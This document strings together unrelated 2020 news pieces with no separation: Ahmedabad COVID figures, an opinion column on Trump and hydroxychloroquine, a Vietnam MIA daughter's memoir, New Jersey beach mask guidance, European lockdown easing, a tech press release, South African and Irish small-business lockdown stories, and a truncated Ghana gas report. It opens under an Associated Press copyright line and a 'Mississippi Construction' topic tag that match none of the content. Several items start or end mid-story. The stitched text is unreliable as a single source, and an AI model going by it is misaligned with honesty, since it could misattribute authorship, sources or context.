Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Mississippi Construction
With 275 new coronavirus cases



found since previous evening, the count of coronavirus cases in Ahmedabad district reached 9,724 on Friday, a senior health official said.

Out of 29 COVID-19 deaths in Gujarat during this period, 26 patients died at various hospitals in Ahmedabad city alone, said Principal Secretary (Health) Jayanti Ravi.

The district accounts for 645 out of 802 COVID-19 deaths recorded in Gujarat so far, making it the worst affected district in the state.

At the same time, out of 392 coronavirus patients discharged across Gujarat during the day, 328 were discharged in Ahmedabad.

Since Thursday evening, 272 new patients were detected in Ahmedabad city and three in rural areas of the district.

Out of 9,724 cases in Ahmedabad district, 9,574 were from the city while 150 cases were reported from other parts of the district.

The Ahmedabad Municipal Corporation has acquired 1,500 beds from private hospitals so far. 500 COVID-19 patients have been admitted to such hospitals.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Well, well. The president says he is taking hydroxychloroquine. Sean Conley, the White House physician, said in a memo that he had discussed the drug with Trump, not prescribed it, although together he and the president concluded it was worth the risk.

But if you take the president at his word  something I admittedly almost never do, but lets just say  it does make perfect sense. In Donald Trump, you have the patient perfect storm: a science denier, a devotee of medical quackery, and  above all else, I cannot emphasize this part enough  a powerful and narcissistic celebrity. This is what happens when your rich and famous VIP client (think Michael Jackson, but with nuclear codes) also has a nutty perspective on medicine and an even nuttier one on facts. You get a statin-taking, extravagantly overweight man demanding a drug that increases the risk of cardiac arrest.

We already know a great deal about Trumps science-denialism and fondness for snake oil. So Id like to focus mainly on the most under-discussed variable in this equation: the fact that Trump is rich and powerful and very famous. People like him often seek out doctors wholl follow their patients egos, not science and data.

We saw this quite clearly during the presidential election, when Trumps personal physician, Harold Bornstein, wrote a letter saying Trumps lab work was astonishingly excellent; that his physical strength and stamina are extraordinary; and that, if voters chose him, Trump would be the healthiest individual ever elected to the presidency.

It then turned out Bornstein didnt write it. He (Trump) dictated that whole letter, the doctor told CNN.

Time and time again, weve seen it: celebrities nagging their physicians to administer questionable and risky therapies, sometimes with tragic consequences. (Elvis being the most obvious example, but also, yes, Michael Jackson). In 1964, a Maryland psychiatrist named Walter Weintraub even coined a term for this problem: VIP Syndrome.

I often say that celebrities get the worst treatment, Richard Friedman, a psychiatrist at Weill Cornell Medical College (and a contributing opinion writer for the New York Times), told me. One, they often are not properly diagnosed, because doctors dont want to ask embarrassing questions  about substance abuse and sexual histories, for instance. And two, celebrities are often driven by fads, not data, and while doctors want to do whats right, they also know that celebrities have the power to make their lives very difficult.

I had my reasons for phoning Friedman. He treated Philip Roth  a fact I never learned from Friedman, obviously, but came out after the author died, in a memoir by a friend. It led me to conclude that Friedman has probably cared for his share of famous patients. He demurred when I asked but told me his own solution, when his patients are being unreasonable, is to say yes, they are extraordinary, but that they arent immune to the laws of physics.

So now consider the case of Donald Trump. He is already a germaphobe. He has no grasp of science, singing the praises of bleach elixirs for COVID-19. He rejects or cherry-picks his facts, at best viewing them through a political prism: He said the data showing the hazards of hydroxychloroquine came from his detractors  it was a Trump enemy statement  when in fact they came from his own Food and Drug Administration. To bolster his case, Trumps campaign manager, Brad Parscale, tweeted an endorsement of the drug by the Association of American Physicians and Surgeons.

It sounds like an unbiased professional organization. The name is deceptive. It is decidedly partisan. It opposes abortion. It opposes Obamacare. It opposes, of all things, mandatory vaccines.

Until 2019, Trump himself recycled the dangerous canard that vaccines were linked to autism, only recanting his views after a measles outbreak.

He is now in charge of a country in a quest for a vaccine during a plague. One shudders to think of it.

This happens against a larger backdrop still, in which radical individualism has been extended to our health, with Americans often deciding they know better than doctors whats best for them; our trust in mainstream medicine has eroded right along with our trust in the media, government, our fellow countrymen. You see it with alternative medicine on the left. You see it with the hawking of nutritional supplements by Alex Jones and Mike Cernovich on the right. You see it in the Oval Office.

You must pity the doctors who try to care for our president. They have the worlds most powerful patient on their hands, and very likely its most impossible. Hes not powerful enough to destroy facts. But hes more than influential and narcissistic enough to make sure they never get in the way.

@JenSeniorNY
Margot Carlson Delogne is the founder of the 2 Sides Project, a nonprofit that unites sons and daughters who lost fathers on both sides of the Vietnam War, and the producer of a documentary about the project that aired on PBS stations nationwide. She resides in Arizona and is working on a memoir.

My father, Air Force Capt. John W. Carlson, was killed in Vietnam in December 1966. He was 27 years old when he died and, since his crash site was never officially found, he is still classified as missing in action.

Every Memorial Day is a reminder that he is gone. While I can honor his service, I cannot easily preserve his memory, because I have no memories of my own.

I'm not alone. An estimated 20,000 children lost fathers on the American side of the Vietnam War. Some remember their dads, but their memories are now faint. Many more were either too young or not born when their fathers died. A handful, like me, may visit an empty grave because their fathers were never found.

I was two years old when my father died. The official report from that day said he had just dropped a bomb when his single-man jet suddenly rolled to the left, inverted and crashed. Death was deemed instantaneous, and no recovery attempts were made. The search for his crash site restarted only when the United States and Vietnam re-established relations in 1995. Despite the best efforts of the Defense POW/MIA Accounting Agency (DPAA), he remains one of the more than 1,500 missing from the war.

Air Force Capt. John W. Carlson. (Courtesy of Margot Carlson Delogne)

Over the years, I have grabbed at straws, looking for evidence of who he was. I would sometimes lie in bed and roll back time as far as I could, straining to remember something, anything about him. Nothing came. I began to create my own stories. A mental film of his death played over and over in my head. It goes like this: Realizing he's been hit, my father swears. Smoke swirls in the cockpit. He fixes on a picture of my sister Kim and me wedged into the side of the window. It flaps madly, edges aflame. He watches it all the way down.

Kim was lucky because she had something -- a single memory. In it, she is high on his shoulders as they walk to a parade on base. He explains the difference between two, to and too."You are two years old. We are walking to the parade. I ate too many Lorna Doones."

My mother knew him best but couldn't help. She was so deeply sunk in sorrow after losing her husband she couldn't share much of their six years together.

Not until my senior year in high school, when I went to live with my father's parents in Indiana, did I begin to find real clues. My grandparents were newly retired and living next to the campus of a military academy where my father spent his summers. They gradually opened up about what he was like. I clung to the simplest things Grandma said, like he didn't like the color yellow or his favorite lunch was a liverwurst and onion sandwich.

Margot Carlson Delogne. (Courtesy of Margot Carlson Delogne)

My bedroom was across from my grandparents'. Its springy bed, where I took naps as a child, was paired with a wooden dresser and gilded mirror, all furniture from my father's youth. I found his high school textbooks in the closet and saw his handwriting for the first time in the notes scribbled in the margins.

Sometimes, I caught my grandfather looking at me. His eyes would turn misty before he looked away. I never asked what he was thinking, but I had an idea. Newly surrounded by pictures of my father, I saw something I'd never noticed before. The square jaw, the full lips, the drooping eyes. I looked exactly like him.

Years later, Mom finally got the courage to look at the past. She opened storage boxes and showed us pictures of their courtship and first apartment in Chicago. She laughed as she pulled out his saber from The Citadel, the military college where he graduated, and talked about the night he used it to slay a mouse cowering in the oven. Mom made copies of the audio letters they exchanged during the brief six months my father was in Vietnam. It took me months to muster the courage to listen to them, and I wept when I first heard his voice. My cousins had the very same Chicago lilt.

Mom wrote to his Air Force colleagues to ask whether they could tell us more. Edd Barnes was the first to respond. He'd been stationed at the same base, Bien Hoa, just outside of Saigon. Edd had one of the morning missions on Dec. 7, my father an afternoon one.

I asked if I could visit.

"Sure," came his simple reply. "I'll tell you what I know."

Edd's summer house was in upstate New York. He stood in the door as I pulled into the driveway. I took in the buzz-cut hair, the straightforward gaze, the hint of a smile and wondered whether my father would have looked the same. We shook hands and chit-chatted for a while -- about the area, his home in Texas, his family -- and took a seat facing each other across the kitchen table.

Edd, like my father, volunteered to serve because he wanted to fly. He got his start in Chandler, Arizona, and moved to an air base in San Antonio. A year and a half later, the United States started rotating attack-fighting squadrons into South Vietnam. He remembered Dec. 7, 1966, very clearly.

"It was a beautiful day. Your father was flying about 30 miles from Saigon. He dropped his first bomb, then just went straight into the jungle at about a 30-degree angle, which is pretty steep. He never showed any indication that anything was wrong with the airplane."

"The report said he was loaded with fuel. So I guess ..."

Edd knew where I was headed. "The jungle floor was mush. You could drop a whole airplane in there and never find it. All I know is that they never recovered any part of the aircraft."

I asked what he thought had happened. Edd said that, somewhere in the delivery, Vietnamese soldiers with 50-caliber machine guns got him. "They sat in this little cage and moved it around with their feet or with the sighter in the back. They were deadly."

I could hear the screech as the cage yanked toward my father's plane, could see the man inside, the shadows from the cage criss-crossing his face.

"Do you think he knew he'd been shot?"

"I think they got a perfect line on him. If he'd been capable of pulling the aircraft up, he would have done it. It was instant, and I don't think there was anything he could do about it."

Edd said he took care of my father's things that day. He rolled up his socks, some underwear, an old pair of old shoes, and his wedding band. He sent it all to my mother with a note about what he knew.

"You can be proud of your father, Margot. He was really in his element. He loved to fly. He died doing what he loved."

On this Memorial Day, those of us left fatherless after the Vietnam War will strive to commemorate the men who served. I will look at the mementos I hold close, including my father's saber, which sits behind me as I work. In the moment of silence, I will summon his voice. He'll tell me to "keep your speed up and keep it turning," a greeting Edd said pilots often used.

The facts about how he died, and the bits and pieces from others about how he lived, will gather in my mind. They may be borrowed memories but, today, they are mine.

-- The opinions expressed in this op-ed are those of the author and do not necessarily reflect the views of Military.com. If you would like to submit your own commentary, please send your article to opinions@military.com for consideration.
Two people wearing mask walk along the boardwalk in Ocean City while enjoying the weather and the view of the beach on Saturday May, 16, 2020. Ocean City is one of few beaches doing a dry run to test capacity management this weekend in preparation for Memorial Day. Read more

New Jersey beaches are officially allowed to reopen. According to the order from Gov. Phil Murphy, you have to practice social distancing if you go. It also recommends, but does not order, that you wear a face covering when staying six feet from others is difficult.

Please, if youre going out to our parks or elsewhere, please practice social distancing, Murphy said during a news conference. "Please wear something covering your face. Folks, lets please keep with this together because its the only way were going to see this through for the long term.

Its worth  as weve pointed out before  thinking twice before you even decide to go.

With beaches and boardwalks already seeing crowds, there will be a lot of instances where you should wear a mask. (Summer 2020: when mask tan lines became cool.) Before you head down the Shore, youll want to strategize ways to make sure that mask-wearing is both achievable and effective. Rest assured, you wont be alone. Beach patrols and lifeguards will be wearing face coverings, too.

Heres what to know if you decide to go.

 READ MORE: Can I go to the beach? What you need to know about the Shore during COVID-19

Do I have to wear a mask the entire time?

The answer may depend on the beach. If you choose a popular spot, youll need to use your mask more.

If its completely empty, then youre fine to take it off, says Dr. Eric Sachinwalla, medical director of Infection Prevention Control for Einstein Medical Center Philadelphia. But if theres a lot of people walking around, out of precaution, you should be wearing the mask as much as possible, even if your towel is six feet from others.

Crowded or not, masks should always be kept on hand for situations when you might encounter others. If youre headed to the bathroom, boardwalk, or local pizza shop, put on your mask. You cant predict when someone may walk by whos coughing or sneezing.

 READ MORE: How to wear a mask and glasses

If I take off my mask, can I reuse it when heading to the boardwalk?

If youre going for a swim, youre not going to wear a mask  nor should you. But what happens when you dry off and need to hit the bathroom? Youll need to re-mask, and you can do so with the same mask you were wearing earlier if you remain extra mindful.

For starters, dont let your mask get wet or dirty. Plan ahead so that you have a safe place to store it. Choose a container that allows for air circulation. A paper bag is preferable to a Ziploc. Although paper bags wont protect your mask from water, theyre more breathable. This lets moisture  such as what accumulates from breathing  evaporate when youre not using the mask.

Wash your hands or use hand sanitizer before removing your mask, and avoid touching the front. Minimizing contact with the outside of the mask is important to avoid contamination of both your hands and the mask. Make note of which side was originally against your face and which goes on the outside. When reusing, its crucial not to flip it the wrong way. Wash your hands again after you take it off.

If any part of this process gets messed up, dont reuse the mask.

What happens if I get sunscreen on my mask? How many should I bring?

If you can, bring at least two masks.

Its never a bad idea to have a backup, says Sachinwalla. Once they get wet or soiled, you want to wear a new mask, and thats likely to happen at the beach.

Dont panic if you get a small dab of sunscreen on your mask. It wont ruin it. (The same applies for makeup.) But if your mask starts to feel icky with grease and sweat, its time to swap it for a clean one. A damp and dirty mask will make it harder to breathe, which isnt fun or safe.

 FAQ: Your coronavirus questions, answered.

What should I do if I want to take a sip of water?

Thirsty? Whatever you do, dont cut a straw hole in your mask.

Anything that interferes with the integrity of the mask makes it less able to do its job of blocking secretions, says Sachinwalla. Also, if youre pushing a straw through the outside, then the part thats directly going into your mouth gets contaminated  seems like a very bad idea.

Before drinking, remove your mask carefully and completely. Refrain from pushing it down around your neck or up onto your forehead  two actions that make it easy for potentially contaminated surfaces to come into contact with your eyes, nose, and mouth.

 READ MORE: Whats up with my bad mask breath?

If my mask gets wet and I dont have a backup, should I continue to wear it?

The Pennsylvania Department of Health says that masks should not be worn when they become damp.

A wet cloth mask is going to be hard to breathe through, which isnt safe, so at that point you should probably head home, says Sachinwalla.

If you accidentally touch your mask with dirty hands, and you dont have a spare, the advice is similar. Theres a chance your hands touched something that was contaminated by the virus, which will defeat the purpose of your mask.

Its hot. How am I supposed to wear a mask in the summer?

Sunscreen, sweat, sand ... and a mask? Whew.

We get it. Its not an ideal scenario, but neither is any part of a pandemic, and the quicker we work to fight the spread of this virus, the quicker itll be over. Even as temperatures rise, the Centers for Disease Control and Prevention still recommends wearing face masks.

To help with comfort, choose a material thats breathable. Cotton isnt a moisture-wicking material, but it will let in more air than synthetic fabrics like polyester. Make sure the mask fits you well, and again, have a backup. As you sweat, you may need to switch out your mask for a dry one.

 READ MORE: How to wear face masks in hot weather

Take breaks when you can, such as on your drive, and consider making your outings shorter right now. Youll also want to stay mindful of how your face is feeling.

In hot weather, you will have a lot of moisture under there, and the skin can break down a little more, Carrie L. Kovarik, an associate professor of dermatology at the Hospital of the University of Pennsylvania, told my colleague Nick Vadala. Moisture from breath or heat builds up, and you can get a rash.

If your skin becomes irritated, Kovarik recommends applying a noncomedogenic (non-pore-blocking) moisturizer after mask usage and avoiding products like petroleum jelly.

I heard its safer to be outside. Is the beach really that risky?

If youre going to leave home, experts say its better to be outside. Outdoor environments provide more air circulation, which makes it easier for coronavirus particles to diffuse through the air. Social distancing is also easier.

But hanging out outside, especially in crowded areas, doesnt come without risk.

Being outside doesnt make everything magically disappear, says Sachinwalla. If theres a large number of people, theres still higher risk of potentially being around someone whos sick and doesnt know it or who doesnt care.

Again, masks are important if youre going to be in contact with other people. And thats highly probable at the Shore. Just like sunscreen (also uncomfortable, but important), masks are meant to protect us. More so, they help protect others, and this is something were all in together.
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In London, signs of normalcy are widespread. Sidewalks in the Brixton neighborhood were full of pedestrians this week as workers began setting up well-spaced tables at an outdoor cafe. A pub in Stoke Newington served takeout beer. In Hampstead Heath, hundreds of people came out to sun themselves, prompting complaints about litter.

Nearly 6,000 people have died in London during the epidemic. But in the last week, hospitals reported only nine deaths on Monday, seven on Tuesday and two on Wednesday. On Monday, there were no new reported cases for a 24-hour period.

Members of the public are starting to think, Why am I still locked down when Im living in a city where the chances of catching Covid-19 are lower than being run over by a car in the street? Mr. Travers said.

In Paris, where new infections have plunged from more than 1,000 a day to a couple of dozen, there is similar impatience. The French government has divided the country into red and green zones as it gradually lifts its lockdown. But it left Paris in the more restricted red zone, which means it is not allowed to open its parks.

That has enraged the mayor, Anne Hidalgo, who said, Weve got to loosen the vise.

More serious tensions are flaring in Spain, where the left-leaning central government has not eased Madrids lockdown because of worries about a resurgence in infections. The Conservative-led city government has lashed out, setting off evening street protests, particularly in affluent neighborhoods where right-wing parties are popular.

At the peak of Spains outbreak in late March, more than 300 people a day died in the Madrid region. On Thursday, 19 did. Still, with nearly 9,000 deaths, the capital accounts for roughly a third of the countrys fatalities. And although its death toll has fallen in line with the rest of Spain, Madrids statistics arguably still make it the countrys major hot zone.
[May 21, 2020] NWN Corporation Powers Arrow Exterminators' Remote-Work Transformation

WALTHAM, Mass., May 21, 2020 /PRNewswire/ -- Together, NWN and Arrow Exterminators orchestrated the smooth technology shift that provided the ability for 2,500+ Arrow employees to work remotely as the COVID-19 pandemic forced a technological shift in Arrow's 128 offices across 12 states. NWN Corporation, a technology-enabled service provider focused on transforming the customer experience, was chosen to fuel the digital transformation of Arrow Exterminators, an Atlanta-based pest-control and home services company. NWN and Arrow Exterminators today released the details of their relationship and how NWN helped Arrow make this critical transition and continue to serve its customers at a high level. To learn more about exactly how NWN assisted, sign up for the May 28th webinar here . Arrow Exterminators is guided by its mission to provide superior quality services to its customers in the most environmentally responsible manner. It strives to continually improve its professional standards, which was why it brought in NWN to revitalize its IT infrastructure. NWN was essential in migrating Arrow Exterminators' systems and offices to the cloud. "NWN was a true partner to us through every step of our digital transformation," said Brannon Gillis, VP of Technology, Arrow Exterminators. "They helped us install a unified communications system 10 months ago. Then, at the begining of March, when we were searching for our response to COVID-19, we called on them again to help us put processes in place and secure the tools we needed to enable our work force of more than 2,500 people to work remotely as needed. They helped us migrate seamlessly from being in the office to moving certain employees -- many of whom have never worked remotely -- safely into their homes in one-third the estimated timeframe."



To learn more, join Andrew Gilman, NWN's Vice President of Marketing and Alliances, and Arrow's Brannon Gillis, VP of Technology on a May 28th webinar that highlights how NWN was an essential partner in the digital transformation and shift to remote work for the pest control and home services company. Register here . About NWN:

NWN Corporation, headquartered outside Boston, is an established leader in technology-enabled services that support remote work and transform customer and employee experiences for commercial, enterprise and public sector organizations through its solution-as-a-service platform. With 1,300 customers throughout the U.S., NWN provides a unified customer experience with the NWN Experience Management Platform and integrated offerings for unified communications, security, contact center, DaaS (device-as-a-service), connectivity and advanced technology solutions. To learn more about NWN's solutions and offerings, visit www.nwnit.com .

Media Contact:

Carissa Ryan, CTP for NWN

[email protected] About Arrow Exterminators:

Family owned and operated since 1964, Atlanta-based Arrow Exterminators is the sixth largest pest and termite control company in the United States, ranked by revenue. Arrow boasts a modern fleet of more than 2,100 vehicles, 128 service centers, 2,500 team members with revenues exceeding $250 million and in 2020 was named the #1 Top Workplace in Atlanta by the Atlanta Journal-Constitution. With QualityPro Certification by the National Pest Management Association, the company offers innovative and environmentally responsible services to protect homes and businesses of customers in Alabama, Arizona, Florida, Georgia, Kentucky, Louisiana, Mississippi, North Carolina, South Carolina, Tennessee, Texas and Virginia. Visit arrowexterminators.com for more information. View original content to download multimedia:http://www.prnewswire.com/news-releases/nwn-corporation-powers-arrow-exterminators-remote-work-transformation-301063884.html SOURCE NWN Corporation

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David Goggins is a name that may not be familiar to you. But in ultra-running circles, he is a legend. In 2008 while competing in the Ultra-Trail du Mont-Blanc, a 103-mile gruelling journey with 10,000m of climbing, had appeared to have beaten him. With ankles taped, shin splints, stress fractures, and injured feet, no one expected him to finish. Yet he did so in fourth place. His answer on how he did it... look in the cookie jar.

Ace Models

Joani Johnson

Naked Insurance

Sumarie Greybe

Andree Frates Photography

Andree Frates

ShZen

Ingrid Alexander

To Be Gift Boxes

Michelle & Leandie du Randt

DoughGetters Accounting

His cookie jar is filled with his past achievements, strengths, and the reasons why he does what he does. He says that when it's tough, you must remind yourself, you are not a weak person, you are the person who survived tough times in the past. You can get through this, and you can do well.As we close the chapter on Level Five lockdown, we have all gone through our own 103-milers. We are all a little broken, and the race still isnt over. As entrepreneurs, our grit, confidence, creativity, and passion have been tested to the full.Covid-19 struck without notice. Some have found a way to harness their cookie jar. Here are their stories. We hope you find them inspiring, practical, and encouraging.Seeing the need for a proper modelling school in the coastal town of Mossel Bay, Joani Johnson founded Ace Models 16 years ago with R10,000 that she borrowed from her father. In 2019, Ace Models sold rights to Australia for R3 million and has since sold shares in the company to two other shareholders, including former Miss South Africa, Cindy Nell-Roberts. Today they have 25 franchises across Africa and are planning to take the concept global.Operationally, we were able to take our classroom online and developed a virtual curriculum for this. This included virtual fashion shows, online tutorials and live streaming. Our franchisees and models loved the new classroom, explains Joani.We have been filming a lot of online content and used social media and other online platforms to encourage models to participate in different challenges weekly. My franchisees mentioned that they had never felt more 'value for their money' than currently as we have really invested a lot of time to create a complete virtual teaching course.Joani goes on to say, This lockdown forced me to look at my business differently. I had to be open-minded and we had to re-evaluate our contingency plans  focus on what we can control and let go of what we couldnt. We went through the priceless exercise of developing an online curriculum, something that will benefit us massively in the future, especially when going global. It has taught us even more how important resilience is as an entrepreneur.Joani also took the time to teach herself video editing and created her own Youtube channel, adding new skills to the business. Naked Insurance was co-founded by Sumarie Greybe , Alex Thomson and Ernest North. Naked Insurance was built to meet the needs of the modern digital consumer offering comprehensive cover for cars, homes, content, and single items. The business was named Naked because they have no hidden fees and no hidden agendas.Sumarie says their team has been able to continue working much as usual: Our team has always been digitally enabled. This is because the claims reporting function and emergency services are managed via smartphone app and the emergency line has remained open throughout.Unfortunately, our average repair time has been severely impacted because service providers like panelbeaters have been closed due to the lockdown. Luckily, our emergency services (e.g. plumbing and towing) can assist and from Level 4 repair times should return to normal, she says.As it turns out, some of our product features have turned out to be a strength in these times. CoverPause has benefited our customers during the lockdown. The Naked Insurance app has always allowed one to pause the accident portion of car insurance cover and downgrade to stationary cover on the days that youre not driving, with a single tap.When the lockdown started, we recognised the reduced risk while people are stuck at home and reduced premiums even further. When you pause your cover, you will only pay roughly 10% of the usual comprehensive premium until end June 2020.This huge saving has been welcomed by clients, and weve seen most clients pause their accident cover on the Naked app, this feature has also attracted new clients, says Sumarie.She advises fellow entrepreneurs to: Remember your people! Check in and keep in touch as much as possible! Make sure your team has the support they need, not just for work, but emotionally as well. This is a stressful time, and it is important to be able to connect and respond with empathy. Also, dont underestimate your staff  be transparent and honest and make sure that they have a realistic picture of where your business is at and share your plans.Photography has always been Andree Frates  chosen career path from the start. I am a blended product of my artistic mother and engineering father, tells Andree, who describes herself as a creatively technical personality. Over time, I fell in love with portraiture because I could deal with people and create beauty with the subject.Honestly, there was a moment when I had a little pity party. After that, I started reinventing the way I worked, tells the mother of three. I reminded myself that this is not the first time I find myself here. Staring down the barrel of the digital camera revolution forced me to adjust. And then, just when I got the hang of that, my phone became my major competition! I have learned to thrive by figuring out what the customer wants, and then asking whether I can do it. Then doing it.Taking a step back and looking at what I was offering customers, I asked, How do I take a single moment in time and curate it so that it endures for as long as my clients' want?Andree has developed an online solution to the family photo albums, placing clients' images in one collective space to tell their continuous life story. I am so excited to flip my business to this new way of doing things. In a way, this may be the best thing that happened to my little enterprise.During this lockdown I have gotten to know that change is your friend, that tomorrow is another day and routine is key to achieving anything. And there is no substitute for getting it done today. ShZen started in 1989, a direct selling company, specialising in handcare products to South African women. Our customers are South African women (and men) who appreciate beautiful, high treatment facial, body and feet products, as well as rock star supplements. We help women - and men - look and feel better.At ShZen we are fortunate that a number of our products are on the essential goods list, but pushing sales was not our focus, imparts their MD, Ingrid Alexander. I was acutely aware that our approach to business during the lockdown could make or break ShZen. We made the gutsy decision and took our focus off selling during this period. Instead, we placed our focus on bringing the team together and further developing our already strong customer relationships, explains Ingrid.In the first week we encouraged the team to pause and take time to internalise the change. Next we hosted a webinar discussing the changes and built momentum on this. During the third week, we hoped to get going, however, after our Presidents address, we all went back to shifting the energy from making a sale to customer service.'Sharpening your Saw' was the theme for week four  during a webinar Ingrid touched on topics like improving product knowledge, communications skills, customer appreciation and self-care.By using this time to invest in our team I have seen, despite the challenges, every single member go the extra mile to ensure that our service level remains high. The lockdown has produced very uncomfortable feelings yet its also shown me that we are adaptable, resilient and I am so proud to be part of this team.There is immense power in accepting the changes that have happened. Being prepared to make even the smallest shifts to your business will be vital. Business leaders need to position their companies in such a way that they respond to this change rather than react. Work with what is in our hands  now, advises Ingrid.Co-founded by sisters-in-law, Leandie du Randt and Michelle du Randt, To Be Gift Boxes officially opened their online doors in March 2019, offering many different, beautifully designed gift boxes filled with gift options for any person and any occasion and is delivered to anybody in South Africa.We realised we need to adjust to make sure this business can go on, so we had to shift our focus to essential products and essential gift box combinations. The moment we received our Essentials Goods certificate, we created some gift box options that only contain essential items, but that can still be packaged nicely as a gift for someone you cant see during the lockdown, tells Leandie.This business has been gratifying during this lockdown. We are motivated, knowing our gifts, are making a difference in our customers lives. We are all about creating joy, one essential item at a time, relates Leandie."Dont just close your business without properly researching possible ways in which you can tap into the essential market during lockdown. Use technology and the internet to your advantage and get creative - if you only have a retail space, create an online store or platform for your brand during this time. DoughGetters Accounting is a digital accounting business co-founded in 2017 by Murray Barnetson and Willem Haarhoff . Having always operated 100% in the cloud, with no office building, this team of digital accountants and bookkeepers serves clients from wherever there is an internet connection as they utilise the Xero online accounting system along with its app ecosystem to provide the backoffice solutions their clients require."Pre-lockdown our primary service offering and focus was providing the SME market an outsourced bookkeeping, accounting, and tax compliance hub, explains Melissa du Plooy, Head of Marketing at the DoughGetters Group. Within days after the lockdown was implemented, we saw our leads come to an abrupt halt as businesses were forced to navigate through their new reality. With lockdown having almost no impact on our business we knew that now was not the time to sell or to preach how to work remotely. Instead we encouraged our team to carry the message of #KeepHopeAlive in all communication, whether it is with our clients, leads, or in social media, keeping our pre-lockdown relational approach at the forefront of everything we are doing, explains Melissa.As the days rolled on, we could see that, as one of our DoughGetters Accounting Franchise Partners, Kenneth Coetzer , pointed out, Our target market is still there, they are just behaving differently.So we turned our focus to DoughGetters Ximple , a new division established just before lockdown, that specialises in online app integration and backoffice automation solutions. According to Melissa, the new division was created to help businesses move online using smart tech to streamline all their processes.Shortly after lockdown started, we realised a shift had to be made as enquiries started coming in for assistance to convert, integrate and train businesses in cloud-based accounting applications like Xero, ReceiptBank, Simple Pay payroll, and various other Xero-integrated apps increased significantly. Now was the opportune time for the DoughGetters Ximple brand to shine, tells Melissa.We went from not only helping clients manage theirbut also assisting them with finding and implementing the right tech tools to cultivate their. Over this time we have seen how business owners and their teams feel more empowered and optimistic when they embrace these technologies. They also see this new technology as a valuable asset even after the lockdown ends, says Melissa.
As the country slowly starts to open up, it is interesting to note that March was the busiest month on record in terms of grocery sales in Ireland, with over 2.8 billion sales in the previous 12 weeks.

When the restrictions began, we witnessed bulk-buying, but as routines have settled this has eased.

Despite the increase in grocery sales, global food prices fell as a result of the pandemic and will leave many farmers with concerns about prices in the coming months.

Already meat processors are killing fewer animals as the impact from food service closures is felt everywhere.

The retail data from Kantar shows that fresh produce sales are up by 16pc. There has been a noticeable rush to buy fruit and vegetables.

The pandemic has seen a surge in demand for organic food globally, which is putting pressure on the supply chains in some networks.

Online retailers are witnessing huge increases in sales.

In general, the approach on farms has been to keep milking, sowing, planting and harvesting.

Covid-19 has imposed severe changes to how we live our lives for now, and it will surely have far-reaching consequences into the future.

Organic farmers around the country are reporting mixed impacts from Covid-19.

The closure of restaurants and food service outlets has reduced the numbers of livestock killed, with increased retail sales only partially compensating.

In the horticulture sector, by contrast, there has been an explosion in sales.

The organic sector has a higher proportion of farmers who sell directly to the consumer, with approximately 8pc of Irish Organic Association (IOA) members supplying retail markets in this way.

With the closure of farmers markets, producers have had to evolve their business model, with many going online to sell direct for the first time.

Social media has been important for small food producers, allowing them to get in touch with their customer base and attract new business.

Here some IOA members report on how Covid-19 has impacted on their farm business:

Green Earth Organics

(Vegetables)

The demand for fresh Irish organic produce delivered to peoples homes has increased exponentially. Since Covid-19 has struck it has made Christmas look like a relatively calm affair, says owner Kenneth Keavey.

The level of business has doubled overnight and we have had to turn off our web ordering service and only open it at allotted times to cope with the demand.

In the last three weeks we have doubled our packing workforce and increased capacity.

We have had to split our workforce into two shifts to enact social distancing and to keep everybody safe. Sourcing of everything from seeds to our boxes has become more difficult.

It is not business as normal and maybe there is a very strong case to be made for not going back to business as usual.

Beechlawn Organic Farm

(Vegetables)

Our business has been turned upside down, says Padraig Fahy.

We have lost customers in restaurants and food service. However, our box sales and home delivery service has quadrupled.

Butlers Organic Eggs





We cant keep the shelves stocked, there is such a demand, says Paula Butler. We were panicked a little initially.

We did organise a rota for staff to work at different times to ensure we were covered if one of us needed to self-isolate. We are taking all the precautions as advised by the HSE.

The problem for us is our orders have doubled but our happy hens are laying the same amount of eggs! What is most important for us is the welfare of our birds and to ensure they are stress-free and happy.

ORegan Farm

(Chicken, pigs, vegetables)

Demand has absolutely soared as people are more conscious of eating healthy and they want to eat organic food, says Mary Regan.

We also sell our organic chickens to customers which is great as restaurants previously made up 20pc of the business, so we have managed to keep fully operational.

We are getting new customers all the time between our honesty shop and the vegetable round. I really hope people will keep supporting small-scale producers when this is all over.

Ring Organic Chickens

We lost 80pc of our business overnight when restaurants closed so we were forced to adapt and seek out new markets, and the home delivery service is booming, says Sean Ring.

The wonderful thing about selling direct to the consumer is that you are paid immediately and that is great for small family farm businesses like this one.

Social media has really helped but you have to keep on it which is time-consuming when you are a primary producer.

Word of mouth is also brilliant to sell premium products like organic chicken.

Tom Dunne

(Beef and tillage)

To date things have been relatively fine, says Tom. Animals arranged for slaughtering were taken by the factory, which enabled my operations to continue as planned.

Given the reduction in outlets for beef it looks like it might be another difficult year for all beef farmers.

On a more positive note, it has been a pleasure to be out and about on the farm in challenging times like this where a lot of people are under severe pressure.

Annies Farm

(Vegetables)

We are still supplying our salads into local supermarkets, but our restaurant and farmers market has closed, says Annie Dalton.

Essentially, we had four days to get a website and vegetable delivery service up and running, which is a baptism of fire. It is certainly different than going to a market as you have to organise individual orders and then plan your route.

We have also partnered with Cashel Farmhouse Cheese to supply salads for their food boxes. So far it is all going fine.

Magners Farm

(Eggs)

We lost 40-50pc of business overnight  the restaurant trade, says Kylie Magner. However, we picked up sales locally. With people staying at home more eggs are in demand, especially for baking.

The IOA were really helpful as they circulated a list of members selling food directly to the public.

As we already had an established website, we became a pick-up point for our local farmers market.

People pay online, produce is dropped here from other farms, baskets made and then customers pick them up on Fridays. It has all worked out really well.

Ballymore Organics

(Flour)

Overnight I lost my restaurant customer base, then two days later people started ordering flour for home baking and it has really taken off, to the point that I am finding it difficult to keep up with demand, says James Kelly.

As I grow and mill on-site, it is an artisan product, so it takes time. I already had an established website, making selling online an option.

I am under no illusion that the market will most likely revert back once this is all over but hopefully customers will still want to buy my flour, as it would be great to see a rebirth of craft milling as people renew their interest and respect for quality Irish ingredients.

Grace Maher is development officer with the Irish Organic Association, grace.maher@irishoa.ie
The Ghana National Gas Company Limited has refuted claims that the Liquified Petroleum Gas (LPG) being produced from its Atuabo Gas Plant is too high in propane, contaminated, and of low quality.



This follows a statement made by Mr Duncan Amoah, Executive Secretary of the Chamber of Petroleum Consumers (COPEC), that the recent products were contaminated and could cause fire.



